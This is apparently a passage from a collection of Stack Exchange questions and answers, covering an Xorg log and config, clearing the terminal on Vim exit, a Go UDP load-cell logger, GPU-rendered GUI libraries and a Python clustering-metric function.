InputClass evdev keyboard catchall[  1744.145] (**) Power Button: Applying InputClass libinput keyboard catchall[  1744.145] (II) LoadModule: libinput[  1744.145] (II) Loading /usr/lib/xorg/modules/input/libinput_drv.so[  1744.146] (II) Module libinput: vendor=X.Org Foundation[  1744.146]    compiled for 1.18.4, module version = 0.22.0[  1744.146]    Module class: X.Org XInput Driver[  1744.146]    ABI class: X.Org XInput driver, version 22.1[  1744.146] (II) Using input driver 'libinput' for 'Power Button'[  1744.146] (**) Power Button: always reports core events[  1744.146] (**) Option Device /dev/input/event4[  1744.146] (**) Option _source server/udev[  1744.146] (II) input device 'Power Button', /dev/input/event4 is tagged by udev as: Keyboard[  1744.146] (II) input device 'Power Button', /dev/input/event4 is a keyboard[  1744.163] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXPWRBN:00/input/input5/event4[  1744.163] (II) XINPUT: Adding extended input device Power Button (type: KEYBOARD, id 6)[  1744.163] (II) input device 'Power Button', /dev/input/event4 is tagged by udev as: Keyboard[  1744.163] (II) input device 'Power Button', /dev/input/event4 is a keyboard[  1744.163] (II) config/udev: Adding input device Video Bus (/dev/input/event7)[  1744.163] (**) Video Bus: Applying InputClass evdev keyboard catchall[  1744.163] (**) Video Bus: Applying InputClass libinput keyboard catchall[  1744.163] (II) Using input driver 'libinput' for 'Video Bus'[  1744.163] (**) Video Bus: always reports core events[  1744.163] (**) Option Device /dev/input/event7[  1744.163] (**) Option _source server/udev[  1744.164] (II) input device 'Video Bus', /dev/input/event7 is tagged by udev as: Keyboard[  1744.164] (II) input device 'Video Bus', /dev/input/event7 is a keyboard[  1744.186] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input9/event7[  1744.186] (II) XINPUT: Adding extended input device Video Bus (type: KEYBOARD, id 7)[  1744.187] (II) input device 'Video Bus', /dev/input/event7 is tagged by udev as: Keyboard[  1744.187] (II) input device 'Video Bus', /dev/input/event7 is a keyboard[  1744.187] (II) config/udev: Adding input device Video Bus (/dev/input/event8)[  1744.187] (**) Video Bus: Applying InputClass evdev keyboard catchall[  1744.187] (**) Video Bus: Applying InputClass libinput keyboard catchall[  1744.187] (II) Using input driver 'libinput' for 'Video Bus'[  1744.187] (**) Video Bus: always reports core events[  1744.187] (**) Option Device /dev/input/event8[  1744.187] (**) Option _source server/udev[  1744.188] (II) input device 'Video Bus', /dev/input/event8 is tagged by udev as: Keyboard[  1744.188] (II) input device 'Video Bus', /dev/input/event8 is a keyboard[  1744.203] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/device:12/LNXVIDEO:01/input/input10/event8[  1744.203] (II) XINPUT: Adding extended input device Video Bus (type: KEYBOARD, id 8)[  1744.204] (II) input device 'Video Bus', /dev/input/event8 is tagged by udev as: Keyboard[  1744.204] (II) input device 'Video Bus', /dev/input/event8 is a keyboard[  1744.205] (II) config/udev: Adding input device Lid Switch (/dev/input/event1)[  1744.205] (II) No input driver specified, ignoring this device.[  1744.205] (II) This device may have been added with another device file.[  1744.205] (II) config/udev: Adding input device Power Button (/dev/input/event3)[  1744.205] (**) Power Button: Applying InputClass evdev keyboard catchall[  1744.205] (**) Power Button: Applying InputClass libinput keyboard catchall[  1744.205] (II) Using input driver 'libinput' for 'Power Button'[  1744.205] (**) Power Button: always reports core events[  1744.205] (**) Option Device /dev/input/event3[  1744.205] (**) Option _source server/udev[  1744.206] (II) input device 'Power Button', /dev/input/event3 is tagged by udev as: Keyboard[  1744.206] (II) input device 'Power Button', /dev/input/event3 is a keyboard[  1744.223] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input4/event3[  1744.223] (II) XINPUT: Adding extended input device Power Button (type: KEYBOARD, id 9)[  1744.224] (II) input device 'Power Button', /dev/input/event3 is tagged by udev as: Keyboard[  1744.224] (II) input device 'Power Button', /dev/input/event3 is a keyboard[  1744.224] (II) config/udev: Adding input device Sleep Button (/dev/input/event2)[  1744.225] (**) Sleep Button: Applying InputClass evdev keyboard catchall[  1744.225] (**) Sleep Button: Applying InputClass libinput keyboard catchall[  1744.225] (II) Using input driver 'libinput' for 'Sleep Button'[  1744.225] (**) Sleep Button: always reports core events[  1744.225] (**) Option Device /dev/input/event2[  1744.225] (**) Option _source server/udev[  1744.225] (II) input device 'Sleep Button', /dev/input/event2 is tagged by udev as: Keyboard[  1744.225] (II) input device 'Sleep Button', /dev/input/event2 is a keyboard[  1744.243] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input3/event2[  1744.243] (II) XINPUT: Adding extended input device Sleep Button (type: KEYBOARD, id 10)[  1744.244] (II) input device 'Sleep Button', /dev/input/event2 is tagged by udev as: Keyboard[  1744.244] (II) input device 'Sleep Button', /dev/input/event2 is a keyboard[  1744.246] (II) config/udev: Adding input device Logitech M325 (/dev/input/event9)[  1744.246] (**) Logitech M325: Applying InputClass evdev pointer catchall[  1744.246] (**) Logitech M325: Applying InputClass libinput pointer catchall[  1744.246] (II) Using input driver 'libinput' for 'Logitech M325'[  1744.246] (**) Logitech M325: always reports core events[  1744.246] (**) Option Device /dev/input/event9[  1744.246] (**) Option _source server/udev[  1744.246] (II) input device 'Logitech M325', /dev/input/event9 is tagged by udev as: Mouse[  1744.247] (II) Device 'Logitech M325' set to 600 DPI[  1744.247] (II) input device 'Logitech M325', /dev/input/event9 is a pointer caps[  1744.293] (**) Option config_info udev:/sys/devices/pci0000:00/0000:00:14.0/usb1/1-8/1-8:1.2/0003:046D:C52B.0004/0003:046D:400A.0005/input/input11/event9[  1744.293] (II) XINPUT: Adding extended input device Logitech M325 (type: MOUSE, id 11)[  1744.293] (**) Option AccelerationScheme none[  1744.293] (**) Logitech M325: (accel) selected scheme none/0[  1744.293] (**) Logitech M325: (accel) acceleration factor: 2.000[  1744.293] (**) Logitech M325: (accel) acceleration threshold: 4[  1744.294] (II) input device 'Logitech M325', /dev/input/event9 is tagged by udev as: Mouse[  1744.294] (II) Device 'Logitech M325' set to 600 DPI[  1744.294] (II) input device 'Logitech M325', /dev/input/event9 is a pointer caps[  1744.295] (II) config/udev: Adding input device Logitech M325 (/dev/input/mouse0)[  1744.295] (II) No input driver specified, ignoring this device.[  1744.295] (II) This device may have been added with another device file.[  1744.296] (II) config/udev: Adding input device HDA Intel PCH Mic (/dev/input/event11)[  1744.296] (II) No input driver specified, ignoring this device.[  1744.296] (II) This device may have been added with another device file.[  1744.296] (II) config/udev: Adding input device HDA Intel PCH Headphone (/dev/input/event12)[  1744.296] (II) No input driver specified, ignoring this device.[  1744.296] (II) This device may have been added with another device file.[  1744.297] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=3 (/dev/input/event13)[  1744.297] (II) No input driver specified, ignoring this device.[  1744.297] (II) This device may have been added with another device file.[  1744.297] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=7 (/dev/input/event14)[  1744.297] (II) No input driver specified, ignoring this device.[  1744.297] (II) This device may have been added with another device file.[  1744.298] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=8 (/dev/input/event15)[  1744.298] (II) No input driver specified, ignoring this device.[  1744.298] (II) This device may have been added with another device file.[  1744.299] (II) config/udev: Adding input device AT Translated Set 2 keyboard (/dev/input/event0)[  1744.299] (**) AT Translated Set 2 keyboard: Applying InputClass evdev keyboard catchall[  1744.299] (**) AT Translated Set 2 keyboard: Applying InputClass libinput keyboard catchall[  1744.299] (II) Using input driver 'libinput' for 'AT Translated Set 2 keyboard'[  1744.299] (**) AT Translated Set 2 keyboard: always reports core events[  1744.299] (**) Option Device /dev/input/event0[  1744.299] (**) Option _source server/udev[  1744.299] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is tagged by udev as: Keyboard[  1744.299] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is a keyboard[  1744.343] (**) Option config_info udev:/sys/devices/platform/i8042/serio0/input/input0/event0[  1744.343] (II) XINPUT: Adding extended input device AT Translated Set 2 keyboard (type: KEYBOARD, id 12)[  1744.344] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is tagged by udev as: Keyboard[  1744.344] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is a keyboard[  1744.345] (II) config/udev: Adding input device SynPS/2 Synaptics TouchPad (/dev/input/event10)[  1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass evdev touchpad catchall[  1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass libinput touchpad catchall[  1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass touchpad catchall[  1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass Default clickpad buttons[  1744.345] (II) LoadModule: synaptics[  1744.345] (II) Loading /usr/lib/xorg/modules/input/synaptics_drv.so[  1744.345] (II) Module synaptics: vendor=X.Org Foundation[  1744.345]    compiled for 1.18.3, module version = 1.8.99[  1744.345]    Module class: X.Org XInput Driver[  1744.345]    ABI class: X.Org XInput driver, version 22.1[  1744.345] (II) Using input driver 'synaptics' for 'SynPS/2 Synaptics TouchPad'[  1744.345] (**) SynPS/2 Synaptics TouchPad: always reports core events[  1744.345] (**) Option Device /dev/input/event10[  1744.383] (II) synaptics: SynPS/2 Synaptics TouchPad: ignoring touch events for semi-multitouch device[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: x-axis range 1472 - 5706 (res 44)[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: y-axis range 1408 - 4800 (res 65)[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: pressure range 0 - 255[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: finger width range 0 - 15[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: buttons: left right double triple[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: Vendor 0x2 Product 0x7[  1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: touchpad found[  1744.383] (**) SynPS/2 Synaptics TouchPad: always reports core events[  1744.423] (**) Option config_info udev:/sys/devices/platform/i8042/serio1/input/input7/event10[  1744.423] (II) XINPUT: Adding extended input device SynPS/2 Synaptics TouchPad (type: TOUCHPAD, id 13)[  1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) MinSpeed is now constant deceleration 2.5[  1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) MaxSpeed is now 1.75[  1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) AccelFactor is now 0.037[  1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) keeping acceleration scheme 1[  1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration profile 1[  1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration factor: 2.000[  1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration threshold: 4[  1744.423] (--) synaptics: SynPS/2 Synaptics TouchPad: touchpad found[  1744.424] (II) config/udev: Adding input device SynPS/2 Synaptics TouchPad (/dev/input/mouse1)[  1744.424] (**) SynPS/2 Synaptics TouchPad: Ignoring device from InputClass touchpad ignore duplicates[  1744.425] (II) config/udev: Adding input device PC Speaker (/dev/input/event5)[  1744.425] (II) No input driver specified, ignoring this device.[  1744.425] (II) This device may have been added with another device file.[  1744.426] (II) config/udev: Adding input device MSI WMI hotkeys (/dev/input/event6)[  1744.426] (**) MSI WMI hotkeys: Applying InputClass evdev keyboard catchall[  1744.426] (**) MSI WMI hotkeys: Applying InputClass libinput keyboard catchall[  1744.426] (II) Using input driver 'libinput' for 'MSI WMI hotkeys'[  1744.426] (**) MSI WMI hotkeys: always reports core events[  1744.426] (**) Option Device /dev/input/event6[  1744.426] (**) Option _source server/udev[  1744.426] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is tagged by udev as: Keyboard[  1744.426] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is a keyboard[  1744.443] (**) Option config_info udev:/sys/devices/virtual/input/input8/event6[  1744.443] (II) XINPUT: Adding extended input device MSI WMI hotkeys (type: KEYBOARD, id 14)[  1744.444] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is tagged by udev as: Keyboard[  1744.444] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is a keyboard[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: synaptics[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: libinput[  1744.708] (II) UnloadModule: libinput[  1744.709] (II) UnloadModule: libinput[  1744.736] (II) NVIDIA(GPU-0): Deleting GPU-0[  1744.807] (II) Server terminated successfully (0). Closing log file./etc/X11/xorg.conf:# nvidia-xconfig: X configuration file generated by nvidia-xconfig# nvidia-xconfig:  version 375.10  (buildmeister@swio-display-x86-rhel47-09)  Fri Oct 14 11:11:07 PDT 2016Section ServerLayout    Identifier     Layout0    Screen      0  Screen0    InputDevice    Keyboard0 CoreKeyboard    InputDevice    Mouse0 CorePointerEndSection#Section Files#EndSectionSection InputDevice    # generated from default    Identifier     Mouse0    Driver         mouse    Option         Protocol auto    Option         Device /dev/psaux   Option         Emulate3Buttons no    Option         ZAxisMapping 4 5EndSectionSection InputDevice# generated from default    Identifier     Keyboard0    Driver         kbdEndSectionSection Monitor    Identifier     Monitor1#    VendorName     Unknown#    ModelName      Unknown#    HorizSync       28.0 - 33.0#    VertRefresh     43.0 - 72.0#    Option         DPMSEndSectionSection Device    Identifier     DiscreteNvidia    Driver         nvidia    VendorName     NVIDIA Corporation    BoardName      GeForce GTX 960M    BusID      PCI:1:0:0EndSectionSection Screen    Identifier     Screen0    Device         Device0    Monitor        Monitor0    DefaultDepth    24    SubSection     Display       Depth       24    EndSubSectionEndSection"  , "title": "xorg not working"  , "tags": "arch linux;xorg"  } 
{  "id": "_vi.11911"  , "question": "I have set Vim's default colorscheme to Monokai, and when I exit Vim the Monokai colors are still on the screen until I clear it.How can Vim be set to run clear automatically on exit, or change the color scheme or at least the background color to what it was before it started?"  , "title": "How can Vim be configured to restore normal terminal color on exit?"  , "tags": "colorscheme;terminal"  , "accepted_answer": "How to Clear the Screen When Exiting VimWhen Vim quits, it sends the escape sequence defined by the t_te setting to the terminal in order to tell it what to do. This should be set automatically by Vim to do something sensible, but it looks like something's going wrong in your setup: the likely candidate seems to be that your terminal is configured incorrectly, but let's investigate:To clear the screen, we need to send the clear escape sequence to our terminal. We can find out what sequence is required by querying our terminfo database with the infocmp command. By running infocmp in my terminal (which happens, like yours, to be xterm-256color), I see the following entry:clear=\\E[H\\E[2JIn this output, the left hand side of the equation refers to a terminal capability, and the right-hand side to the escape sequence used to access it. In the displayed sequence, the \\E refers to an Escape character.So, the escape sequence used by xterm to clear the screen is <Esc>[H<Esc>[2J. If we want Vim to clear the screen on exit, we need to configure its t_te setting to send this sequence.We do so with the following Vim command::set t_te=^[[H^[2JN.B. In the above, the two instances of ^[ are Vim's representation of the escape character that was displayed as \\E above. You type them by pressing Ctrl+VEsc: not by typing a ^ followed by a [ character.After quitting Vim, the screen should now be cleared.What Might Be Going Wrong For YouThis may or may not actually work for you, however. As already mentioned, Vim should set up t_te sensibly already. There are several places where the problem could be occurring:Your t_te might be set incorrectly by your .vimrc or by a plugin. Setting t_te as above should fix this,You have indicated your $TERM is set to xterm-256color. If you are actually using a different terminal, the escape sequence described above may be wrong. The way to fix this is by setting $TERM to match your actual terminal.It's possible (although less likely) that your terminfo database contains the incorrect info for xterm-256color. You can test if this is the case by running the command tput clear in your terminal. This queries the terminfo database for the clear capability, which is output to the terminal, and should result in the terminal clearing the screen. If this does not do so, then your terminfo database is incorrect, and will need fixing. This is not really a Vim issue, so you may find more help elsewhere.Extra CreditI wrote earlier that Vim should set t_te to something sensible. But for me, this is not clearing the screen. So what does it actually set t_te to?The command :set t_te?, for me, outputs: t_te=^[[?1049l. By looking in the infocmp output, I can see that this corresponds to a capability of rmcup.It turns out that this, in conjunction with the related t_ti setting (which is set to the smcup capability) sets up Vim to use xterm's alternate screen buffer for rendering — when Vim quits, the terminal state is reset to display whatever was displaying before I ran Vim.Again, you can try out this switching of screen buffers outside of Vim by running a sequence of commands in your terminal:ls         # just to get something onscreentput smcup # The ls output disappearstput rmcup # The ls output reappears"  } 
{  "id": "_codereview.87117"  , "question": "I have written the following utility, as my first non-tutorial program in Go.The purpose of the utility isto connect to a torque/force sensor (aka load-cell) via UDP;to send an initialization command; andto record the resulting stream of measurements.Since I am planning further functionality (setting duty cycle of a brushless motor controller via serial), which will be logged to the same file, I have separated the file writing from the UDP packet logging via a channel.Since this is a utility that serves a single purpose, error handling is minimal.I am hoping for feedback regarding the general style and idiomaticy of the code and the folder structure (separating loadcell-related files into a separate sub-package, in the loadcell sub-directory).Specifically, I would appreciate your thoughts on:A possible bug in go version go1.4.2 darwin/amd64, in loadcell.go (see comment before the final for loop)The FromNetworkBytes function in loadCellPacket.go. I really wanted to make a class method, e.g. packet := loadCellPacket.FromNetworkBytes(b), but as far as I found, the Go options are either: packet := loadCellPacketFromNetworkBytes(b) (a simple function), or var packet loadCellBytes; packet.FromNetworkBytes(b). I opted for the later, since I can reuse the packet variable, but I would appreciate feedback.The code is hosted here, and for longevity of this question, I repeat the files below. I have left out import statements for brevity../main.gopackage mainimport (    ...    github.com/mikehamer/ati-torque-force-logger/loadcell)func main() {    // Parse flags    loadCellAddress := flag.String(address, 192.168.1.200:49152, The address of the loadcell)    logFileName := flag.String(logfile, fmt.Sprintf(%s_loadcell.log, time.Now().Format(2006-01-02_15-04-05)), The name of the logfile)    flag.Parse()    //open CSV log    logfile, err := os.Create(*logFileName)    if err != nil {        log.Fatal(err)    }    defer logfile.Close()    // Setup communication channels    receivedMeasurements := make(chan loadcell.Measurement)    //connect and stream from loadcell    go loadcell.ReceiveLoadCellStream(*loadCellAddress, receivedMeasurements)    //loop and write logs    fmt.Println(Saving output to, logfile.Name())    logfile.WriteString(t, Fx, Fy, Fz, Tx, Ty, Tz\\n)    for {        select {        case measurement := <-receivedMeasurements:            logfile.WriteString(measurement.String())        }    }}./loadcell/loadcell.gopackage loadcell// NETWORK CONSTANTSvar loadCellStartStreamCommand = loadCellCommand{0x1234, 0x0002, 0} // the command to send to enable realtime stream// ReceiveLoadCellStream opens a network stream to the loadcell, sends a configuration packet and then relays received measurements back through the supplied channelfunc ReceiveLoadCellStream(loadCellAddress string, receivedPackets chan<- Measurement) error {    // calculate loadcell address    remoteAddr, err := net.ResolveUDPAddr(udp, loadCellAddress)    if err != nil {        log.Fatal(err)    }    //open connection to loadcell    conn, err := net.DialUDP(udp, nil, remoteAddr)    if err != nil {        log.Fatal(err)    }    fmt.Println(UDP Server: Local, conn.LocalAddr(), -> Remote, conn.RemoteAddr())    defer conn.Close()    // send the command instructing the loadcell to begin a realtime data stream    conn.Write(loadCellStartStreamCommand.NetworkBytes())    // begin receiving packets from the network connection and sending them on the outgoing channel    startTime := time.Now()    buf := make([]byte, 36) //BUG? This causes ReadFromUDP to block = GOOD    //var buf []byte        //     While this causes ReadFromUDP to continuously return 0,nil,nil    for {        var packet loadCellPacket        n, remoteAddr, err := conn.ReadFromUDP(buf)        switch {        //packet of the correct size is received        case uintptr(n) == unsafe.Sizeof(packet):            if err := packet.FromNetworkBytes(buf); err != nil {                log.Fatal(err)            } //decode it from network stream            receivedPackets <- packet.ParseMeasurement()        //packet is received but with incorrect size        case n != 0:            log.Print(From, remoteAddr, got unexpected bytes, buf[:n])        //an error occurs        case err != nil:            log.Fatal(err)        }    }}./loadcell/loadCellPacket.gopackage loadcell// loadCellPacket is the packet as received over the networktype loadCellPacket struct {    RdtSequence uint32 // RDT sequence number of this packet.    FtSequence  uint32 // The records internal sequence number    Status      uint32 // System status code    // Force and torque readings use counts values    Fx int32 // X-axis force    Fy int32 // Y-axis force    Fz int32 // Z-axis force    Tx int32 // X-axis torque    Ty int32 // Y-axis torque    Tz int32 // Z-axis torque}// FromNetworkBytes parses a loadCellPacket from a network (BigEndian) bytestreamfunc (s *loadCellPacket) FromNetworkBytes(b []byte) error {    var packet loadCellPacket    buf := bytes.NewReader(b)    if err := binary.Read(buf, binary.BigEndian, &packet); err != nil {        return err    }    *s = packet    return nil}// ParseMeasurement creates a Measurement from the loadCellPacketfunc (s *loadCellPacket) ParseMeasurement(rxTime float64) Measurement {    return Measurement{        rxTime,        float32(s.Fx) / 1e6,        float32(s.Fy) / 1e6,        float32(s.Fz) / 1e6,        float32(s.Tx) / 1e6,        float32(s.Ty) / 1e6,        float32(s.Tz) / 1e6}}./loadcell/LoadCellMeasurement.gopackage loadcell// Measurement is a loadCellPacket that has been converted into a useable formtype Measurement struct {    RxTime float64 // the receive time, since the beginning of the program    Fx     float32 // x-force in Newtons    Fy     float32 // y-force in Newtons    Fz     float32 // z-force in Newtons    Tx     float32 // x-torque in Newton-meters    Ty     float32 // y-torque in Newton-meters    Tz     float32 // z-torque in Newton-meters}// Bytes returns the Measurement as a LittleEndian-encoded byte slice, ready for serializationfunc (s *Measurement) Bytes() []byte {    buf := new(bytes.Buffer)    if err := binary.Write(buf, binary.LittleEndian, s); err != nil {        log.Fatal(err)    }    return buf.Bytes()}// String returns the Measurement as a comma-separated string, ready for loggingfunc (s *Measurement) String() string {    return fmt.Sprintf(%.6f, %v, %v, %v, %v, %v, %v\\n, s.RxTime, s.Fx, s.Fy, s.Fz, s.Tx, s.Ty, s.Tz)}./loadcell/loadCellCommand.gopackage loadcell// loadCellCommand is a command packet sent to the loadcelltype loadCellCommand struct {    header      uint16 // = 0x1234 Required    command     uint16 // Command to execute    sampleCount uint32 // Samples to output (0 = infinite)}// NetworkBytes returns the loadCellCommand as a BigEndian-encoded byte slice ready for network transmissionfunc (s *loadCellCommand) NetworkBytes() []byte {    buf := new(bytes.Buffer)    if err := binary.Write(buf, binary.BigEndian, s); err != nil {        log.Fatal(err)    }    return buf.Bytes()}"  , "title": "Utility that decodes and logs UDP packets"  , "tags": "csv;logging;go;server;udp"  } 
{  "id": "_softwareengineering.296825"  , "question": "I am doing some research as to how most hardware accelerated GUI libraries work. I am actually only care about the rendering backends of them here. I am trying to figure out what would be the best way to try and write my own as a sort of side project. I am trying to go for ultimate performance here instead of overly fancy features. I want to b able to draw primitives, text and animation.Some good libraries that I know of are Qt, Skia and Cairo (though I'm not sure what the sate of HWA is on it). I have also looked at NanoVG which is a small library that seems to have a decent following. I did not manage to achieve decent performance with NanoVG though...The one thing that struck me was that all these libraries seem to make use of the concept of painting where it seems that each primitive shape gets drawn from scratch over and over again. What I mean by that is that from the APIs, it does not appear as if though the shapes are created as objects on the GPU or whatever the terminology is and then left there to be rendered automatically. In other words, they are not left on the GPU's memory for being redrawn in some large loop. To elaborate, it seems that for each i.e. rectangle that needs to be drawn, a whole OpenGL state is set up just to render that rectangle and is then destroyed again. It does appear though as if these rendered shapes are then at least rendered at their final destinations, allowing the GPU to then compose the entire scene.The way I expected these libraries to work is by actually storing the entire scene on the GPU (excuse the horrible terminology). For instance, primitives would be triangulated and left in memory where after some intricate process would be used to have a main rendering loop for the scene. Furthermore there would then be mechanisms in place to update attributes or delete or add primitives. This is quite a vague description but I think that you get the idea.What I would like to ask now, is if there is any performance benefit to the painting approach as compared to the saved approach (again, no idea if there are proper names for these things...). Some intricate caching mechanisms of sorts perhaps? Or is this just much simpler to work with?I realize that the saved approach might use more memory on the GPU but are all the OpenGL calls needed for the painting approach not vastly expensive? I guess one might be able to compensate for this by caching the rendered shapes but does the GPU really provide one with so large a benefit when doing such a once-off (or not very regular) rasterization as compared to CPU, especially given the communication overhead? Also, does this communication overhead not pose serious problems for animations when drawing has to be done for every frame?I am quite certain that NanoVG does not have an internal caching mechanism and I would assume that this could be responsible for its rather lackluster performance. Qt on the other hand seems to have excellent performance so it must be doing something right. Google also seems to be able to put Skia to good use.PS. I am not a professional of any sorts and have only recently started to learn OpenGL.EDIT:Another possibility that I have thought of is that maybe the painting approach was deemed necessary purely because of the memory benefits? The reason I would think that is because all these libraries were of course started in a different era and also target embedded platforms meaning that GPU memory might be so scarce on the target(ed) platforms and that using as little as possible of it might be more important than performance. Again though, in a situation like this, I am not convinced that frame-by-frame GPU rasterization given the communication overhead will outperform a CPU, especially considering the probably low pixel count on platforms with such little memory.Furthermore I have read on http://blog.qt.io/blog/2010/01/06/qt-graphics-and-performance-opengl/ that Qt apparently blends together shader code from precoded segments at runtime before painting and then hopes for the OGL compiler to inline the code properly at runtime. This sound like even more OGL initialization overhead to me... "  , "title": "Is hardware accelerated GUI data kept on the GPU"  , "tags": "gui;qt;opengl;gpu"  , "accepted_answer": "Saving the whole window as a single object into GPU (it would be bunch of rectangles saved as VBO) and then rendering it in a single OpenGL draw call would be fast, but it has several disadvantages:The whole geometry would have to be rendered using single shader. Having separate shaders (for opaque copy, transparent copy, gradient, ...) is more useful.The whole geometry could use only from limited amount of textures. Even if you use atlases, you need lot of textures for GUI. (Pieces of the GUI theme, icons, fonts, ...)You have to rebuild and reload the whole object into GPU after every change.Every widget must be able to produce their piece of geometry which is harder to abstract than 2D painting.On some GPUs you can render 2D stuff (filling area with color, copying from picture to picture, ...) with 2D commands which is faster than using 3D pipeline.If you break it into several objects, then you eventually end up with single or few rectangles per object. It's easier and faster to render them without any stored objects.What GUI frameworks do is tracking which exact parts of the window changed and repainting only them. The old image is cached in the GPU. This approach can be used with various drawing backends, not only OpenGL/DirectX accelerated rendering.If you want to check example of a GUI library that does generate geometries which you can feed into OpengGL (or into different 3D api), look at librocket. It can actually bake static geometries together and render them in single draw call, but any element that will be changing often or need to render with its own shader has to stay separate."  } 
{  "id": "_codereview.45686"  , "question": "Below is a full working code example of code which is used to compute stats on two class vectors (partitions). There are two functions:pairwise_indication and to_clust_set. The first one is the function in question and the second is just for completeness, since it's apparently not so time consuming. pairwise_indication returns the indicators n11, n00, n10, n01 which are used to compute scores such as the RAND Index (they're named a, b, c, d on that site). The bottleneck probably are the loops (depth is 3) and the logic and look-up stuff inside of pairwise_indication. I already tried to improve the logical function in it by pulling forward the common cases. I was hoping it can be improved some further. What makes it interminable (if I get the profiling at the bottom of the post correct) are the loops and maybe the set look-ups using in, though I cannot imagine something faster.import itertools as itimport numpy as npdef pairwise_indication(part1, part2):    r    Computes the pairwise indicators.    Parameters    ----------    part1, part2 : array, (n)        The two partition vectors    Returns    -------    n11, n00, n10, n01 : tuple (int)        Tuple with the counts of incidences    Examples    --------    >>> from cluvap.calc import pairwise_indication    >>> import numpy as np    >>> p1 = np.array([1, 2, 3, 3, 1, 2])    >>> p2 = np.array([3, 2, 3, 3, 1, 2])    >>> pairwise_indication(p1, p2)    (2, 10, 1, 2)        n = len(part1)    if n != len(part2):        raise ValueError('Partition shapes do not match')    # Create clustering as set    A = to_clust_set(part1)    B = to_clust_set(part2)    observations = np.arange(n)    n11, n00, n10, n01 = 0, 0, 0, 0    # Count incidences    # function:  P'QR'S v P'QRS v PQRS v PQR'S (' == not, v == or)    # condensed: P('QR('S v S) v QR('S v S))    # P: obs1 in a    # Q: obs2 in a    # R: obs1 in b    # S: obs2 in b    for obs1, obs2 in it.combinations(observations, 2):        for a in A:            for b in B:                if obs1 in a:                    if obs2 not in a:                        if obs1 in b:                            if obs2 not in b:                                n00 += 1                            else:                                n01 += 1                    else:                        if obs1 in b:                            if obs2 in b:                                n11 += 1                            else:                                n10 += 1    return n11, n00, n10, n01def to_clust_set(part):        Converts a partition to a set of clusters. Noise is considered a cluster.    Parameters    ----------    part : arrays, (n)        Partitions. A partition ``p`` assigns the ``n``-th observation        to the cluster ``p[n]``.    Returns    -------    cset : list of sets    Examples    --------    >>> from cluvap.calc import to_clust_set    >>> import numpy as np    >>> p = np.array([1, 2, 3, 3, 1, 2])    >>> to_clust_set(p)    [set([0, 4]), set([1, 5]), set([2, 3])]        clusters = set(part)    obs = np.arange(len(part))    return [set(obs[part == C]) for C in clusters]if __name__ == __main__:    from time import time    p1 = np.array([1, 2, 3, 4, 5] * 20)    p2 = np.array([2, 3, 4, 5, 1] * 20)    t0 = time()    pi = pairwise_indication(p1, p2)    t = (time() - t0) * 1000    print 'pairwise_indication(p1, p2) in {:.2f} ms:\\n'.format(t), piOutputpairwise_indication(p1, p2) in 19.00 ms:(950, 4000, 0, 0)line profiling>>> p1 = np.array([1, 2, 3, 4, 5] * 20)>>> p2 = np.array([2, 3, 4, 5, 1] * 20)>>> %lprun -f pairwise_indication pairwise_indication(p1, p2)Timer unit: 4.10918e-07 sFile: cluvap\\calc.pyFunction: pairwise_indication at line 713Total time: 0.603277 sLine #      Hits         Time  Per Hit   % Time  Line Contents==============================================================   713                                           def pairwise_indication(part1, part2):...   736         1           28     28.0      0.0      n = len(part1)   737         1           17     17.0      0.0      if n != len(part2):   738                                                   raise ValueError('Partition shapes do not match')   739                                               # Create clustering as set   740         1         1455   1455.0      0.1      A = to_clust_set(part1)   741         1         1154   1154.0      0.1      B = to_clust_set(part2)   742         1           33     33.0      0.0      observations = np.arange(n)   743         1           14     14.0      0.0      n11, n00, n10, n01 = 0, 0, 0, 0   744                                               # Count incidences   745                                               # (can this be improved using some kind of indexing / logical compression?)   746      4951        19884      4.0      1.4      for obs1, obs2 in it.combinations(observations, 2):   747     29700       115151      3.9      7.8          for a in A:   748    148500       576491      3.9     39.3              for b in B:   749    123750       505606      4.1     34.4                  if obs1 in a:   750     24750       100784      4.1      6.9                      if obs2 not in a:   751     20000        84631      4.2      5.8                          if obs1 in b:   752      4000        16489      4.1      1.1                              if obs2 not in b:   753      4000        17915      4.5      1.2                                  n00 += 1   754                                                                       else:   755                                                                           n01 += 1   756                          